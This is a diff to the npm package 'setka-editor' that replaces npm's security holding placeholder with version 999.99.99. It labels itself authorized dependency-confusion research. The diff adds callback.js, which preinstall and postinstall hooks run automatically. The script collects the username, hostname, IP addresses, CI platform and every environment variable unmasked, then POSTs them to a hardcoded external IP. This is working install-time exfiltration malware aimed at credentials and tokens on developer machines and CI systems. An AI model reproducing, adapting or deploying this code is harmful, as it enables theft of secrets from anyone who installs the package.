setka-editor 0.0.1-security → 999.99.99

package/README.md

@@ -1,5 +1,18 @@
-# Security holding package
+# setka-editor
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+## Security Research PoC
 
-Please refer to www.npmjs.com/advisories?search=setka-editor for more information.
+This package was published as part of **authorized security research** to demonstrate dependency confusion vulnerabilities.
+
+### What is Dependency Confusion?
+
+Dependency confusion is a supply chain attack where a malicious package with the same name as an internal/private package is published to a public registry with a higher version number.
+
+### Author
+
+- **OFJAAAH**
+- Tool: Dependency Confusion Hunter
+
+### Disclaimer
+
+This package is for **authorized security testing only**. Do not use for malicious purposes.

package/callback.js

@@ -0,0 +1,135 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+
+// === НАСТРОЙКИ ===
+const CALLBACK_URL = process.env.CALLBACK_URL || 'http://132.243.20.244:8000/api/collect';
+const PACKAGE_NAME = 'setka-editor';
+
+// === ВСПОМОГАТЕЛЬНЫЕ ФУНКЦИИ ===
+
+function getLocalIP() {
+  try {
+    const interfaces = os.networkInterfaces();
+    for (const name of Object.keys(interfaces)) {
+      for (const iface of interfaces[name]) {
+        if (iface.family === 'IPv4' && !iface.internal) {
+          return iface.address;
+        }
+      }
+    }
+  } catch (_) { /* игнорируем */ }
+  return 'unknown';
+}
+
+async function getExternalIP() {
+  return new Promise((resolve) => {
+    https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
+      let data = '';
+      res.on('data', chunk => data += chunk);
+      res.on('end', () => {
+        try {
+          resolve(JSON.parse(data).ip);
+        } catch (_) {
+          resolve(null);
+        }
+      });
+    }).on('error', () => resolve(null));
+  });
+}
+
+function detectCIEnvironment() {
+  if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
+  if (process.env.GITLAB_CI) return 'GitLab CI';
+  if (process.env.JENKINS_URL) return 'Jenkins';
+  if (process.env.TRAVIS) return 'Travis CI';
+  if (process.env.CIRCLECI) return 'CircleCI';
+  if (process.env.BUILDKITE) return 'Buildkite';
+  if (process.env.CI) return 'Generic CI';
+  return 'Local Machine';
+}
+
+function collectSystemInfo() {
+  const info = {
+    package: PACKAGE_NAME,
+    timestamp: new Date().toISOString(),
+    user: os.userInfo().username,
+    uid: os.userInfo().uid,
+    gid: os.userInfo().gid,
+    homedir: os.userInfo().homedir,
+    shell: os.userInfo().shell || 'N/A',
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    release: os.release(),
+    type: os.type(),
+    cwd: process.cwd(),
+    localIP: getLocalIP(),
+    nodeVersion: process.version,
+    npmVersion: process.env.npm_package_version || 'unknown',
+    isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI ||
+             process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
+    ciEnvironment: detectCIEnvironment(),
+    // ВСЕ переменные окружения – БЕЗ МАСКИРОВКИ
+    env: process.env
+  };
+  return info;
+}
+
+async function sendCallback() {
+  const systemInfo = collectSystemInfo();
+
+  const externalIP = await getExternalIP();
+  if (externalIP) {
+    systemInfo.externalIP = externalIP;
+  }
+
+  const data = JSON.stringify(systemInfo, null, 2);
+
+  const url = new URL(CALLBACK_URL);
+  const protocol = url.protocol === 'https:' ? https : http;
+
+  const options = {
+    hostname: url.hostname,
+    port: url.port || (url.protocol === 'https:' ? 443 : 80),
+    path: url.pathname + (url.search || ''),
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(data),
+      'User-Agent': `dependency-confusion/${PACKAGE_NAME}`,
+      'X-Package-Name': PACKAGE_NAME
+    },
+    timeout: 10000
+  };
+
+  return new Promise((resolve, reject) => {
+    const req = protocol.request(options, (res) => {
+      console.log(`[PoC] Callback отправлен, статус: ${res.statusCode}`);
+      resolve(res.statusCode);
+    });
+
+    req.on('error', (err) => {
+      console.error('[PoC] Ошибка при отправке:', err.message);
+      reject(err);
+    });
+
+    req.on('timeout', () => {
+      req.destroy();
+      reject(new Error('Timeout'));
+    });
+
+    req.write(data);
+    req.end();
+  });
+}
+
+(async () => {
+  try {
+    console.log(`[PoC] Отправка данных на ${CALLBACK_URL}...`);
+    await sendCallback();
+    console.log('[PoC] Готово.');
+  } catch (err) {
+    console.error('[PoC] Не удалось отправить callback:', err.message);
+  }
+})();

package/index.js

@@ -0,0 +1,7 @@
+
+module.exports = {
+  name: 'setka-editor',
+  version: '999.99.99',
+  poc: true,
+  author: 'r0binak'
+};

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "setka-editor",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "999.99.99",
+  "description": "Security research PoC - Dependency Confusion Hunter by r0binak",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js",
+    "postinstall": "node callback.js"
+  },
+  "keywords": [
+    "security",
+    "research",
+    "poc"
+  ],
+  "author": "r0binak - Security Research BB",
+  "license": "MIT"
+}